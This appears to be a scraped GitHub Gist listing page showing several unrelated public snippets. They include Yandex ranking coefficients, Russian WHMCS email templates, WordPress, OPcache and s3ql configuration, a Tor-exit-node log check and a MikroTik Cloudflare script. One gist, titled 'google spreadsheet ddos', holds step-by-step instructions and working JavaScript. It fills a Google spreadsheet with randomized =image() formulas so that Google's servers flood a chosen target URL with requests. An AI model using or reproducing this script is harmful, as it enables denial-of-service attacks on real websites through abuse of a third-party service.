Skip to content

Instantly share code, notes, and snippets.

@lord-alfred
lord-alfred / _README.md
Last active June 24, 2024 20:00
Y-Factors Formula

Y-Factors Formula

Здесь опубликованы коэффициенты для одного из внутренних ранжировщиков в поиске Яндекса. Это не итоговая формула, которая влияет на результат появления ссылки в серпе, т.к. судя по изученному коду – внутри используется несколько ранжировщиков и поисковых движков, результаты которых мержатся между собой и уже итоговый результат приводит к распределению ссылок по топу выдачи.

коэффициенты влияния на факторы

| Коэффициент | Название Фактора | Описание Фактора |

@sanasol
sanasol / russian.sql
Created April 9, 2019 00:13
WHMCS Russian Email Templates // Русский язык для email шаблонов
update tblemailtemplates set message = '<p>Уважаемый(-ая) {$client_name}.</p>
<p align="center"><strong>ПОЖАЛУЙСТА, ПОЛНОСТЬЮ ПРОЧТИТЕ ДАННОЕ ПИСЬМО И РАСПЕЧАТАЙТЕ В КАЧЕСТВЕ ДОКУМЕНТА<br /></strong></p>
<p>Спасибо за заказ! Мы создали для вас хостинговый аккаунт, а данное письмо содержит всю необходимую информацию для начала его использования.</p>
<p>Если при покупке вы, в том числе, заказали доменное имя, пожалуйста, учтите, что оно не будет сразу же открываться в интернете. Процесс распространения (propagation) информации о нем по сети может занять до 48 часов. До завершения данного процесса, сайт и почта не будут работать.</p>
<p><strong>Информация о новом аккаунте<br /></strong></p>
<p>Хостинговый план: {$service_product_name}<br />Домен: {$service_domain}<br />Сумма первого платежа: {$service_first_payment_amount}<br />Сумма продления услуги: {$service_recurring_amount}<br />Периодичность оплаты: {$service_billing_cycle}<br />Дата следующей оплаты: {$service_next_due_date}</p>
<p><strong>Авторизационные
@ebetancourt
ebetancourt / wp-disable-plugin-update.php
Last active June 6, 2024 09:57 — forked from rniswonger/wp-disable-plugin-update.php
WordPress - Disable specific plugin update check
<?php
// have to add that opening tag to get syntax highlighting... ¯\_(ツ)_/¯
/**
* Prevent update notification for plugin
* http://www.thecreativedev.com/disable-updates-for-specific-plugin-in-wordpress/
* Place in theme functions.php or at bottom of wp-config.php
*/
function disable_plugin_updates( $value ) {
@Blake-
Blake- / gist:fc00725d519a25a55b3c2368d1ee238d
Created October 21, 2017 01:10
Mounting a s3ql file system to the S3 compatible file system at Softlayer on an Ubuntu 16 Xenial VSI
Mounting a s3ql file system to the S3 compatible file system at Softlayer on an Ubuntu 16 Xenial VSI
apt install s3ql
nano /etc/s3ql.authinfo
[softlayer-s3]
backend-login: somelogin
@Blake-
Blake- / gist:5ecc81a2e4fee5f65702ea7670982e3b
Created March 30, 2016 21:41
Find hits to Apache access log from Tor Exit Nodes
wget -q https://www.dan.me.uk/torlist/ -O - |sort -u > tor-ips.txt
cat /var/log/apache2/other_vhosts_access.log | awk '{print $2}' |sort -u > all-ips
comm -12 tor-ips.txt all-ips > tor-hits
grep -f tor-hits /var/log/apache2/other_vhosts_access.log
`note www.dan.me.uk limits 1 pull every 30 minutes`
@Jekins
Jekins / Markdown-docs.md
Last active June 23, 2024 18:23
Руководство по оформлению Markdown файлов

Руководство по оформлению Markdown файлов

Markdown - это облегчённый язык разметки, который преобразует текст в структурированный HTML. Следующее руководство поможет вам разобраться, как использовать Markdown.

Заголовки

# Заголовок первого уровня
## Заголовок второго уровня
### Заголовок третьего уровня
#### Заголовок четвёртого уровня
##### Заголовок пятого уровня
@kiler129
kiler129 / cloudflare_update.script
Last active October 11, 2023 09:10
Automatic script for Mikrotik RouterOS updating record on CloudFlare.
#########################################################################
# ================================================== #
# $ Mikrotik RouterOS update script for CloudFlare $ #
# ================================================== #
# #
# - You need a CloudFlare account & api key (look under settings), #
# a zone and A record in it #
# - All variables in first section are obvious, except CFid, #
# To obtain CFid use following command in any unix shell: #
# curl https://www.cloudflare.com/api_json.html -d 'a=rec_load_all' -d 'tkn=YOUR_API_KEY' -d 'email=email@example.com' -d 'z=domain.com'|python -mjson.tool
@ichensky
ichensky / gist:70e5009c64c1b98aa86a
Last active January 3, 2020 00:58
google spreadsheet ddos
1. Create google spreadsheet
2. Open any website
3. Write by hands into browser url:
javascript:
4. Insert after it and press Enter or insert text into dev. console (PS. change main function parameters):
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100); function makeid(n) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < n; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function generateStr(url, x) { var div = document.createElement("div"); for( var i=0; i < x; i++ ) { var p = document.createElement("p"); var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); p.appendChild(t); div.appendChild(p); } document.body.innerHTML = ""; document.body.appendChild(div); } function main(url, x) { generateStr(url, x);}
4. Copy all text: Ctrl+A Ctrl+C
5. Insert buffer into google spreadsheet.
@tegansnyder
tegansnyder / opcache.ini
Last active September 2, 2022 16:24
OpCache settings for Magento on PHP 5.5.14. Store this file as /etc/php.d/opcache.ini
; Enable Zend OPcache extension module
zend_extension=opcache.so
; Determines if Zend OPCache is enabled
opcache.enable=1
; Determines if Zend OPCache is enabled for the CLI version of PHP
;opcache.enable_cli=0
; The OPcache shared memory storage size.
@msurguy
msurguy / List.md
Last active April 30, 2024 15:14
List of open source projects made with Laravel

Other people's projects:

My projects (tutorials are on my blog at http://maxoffsky.com):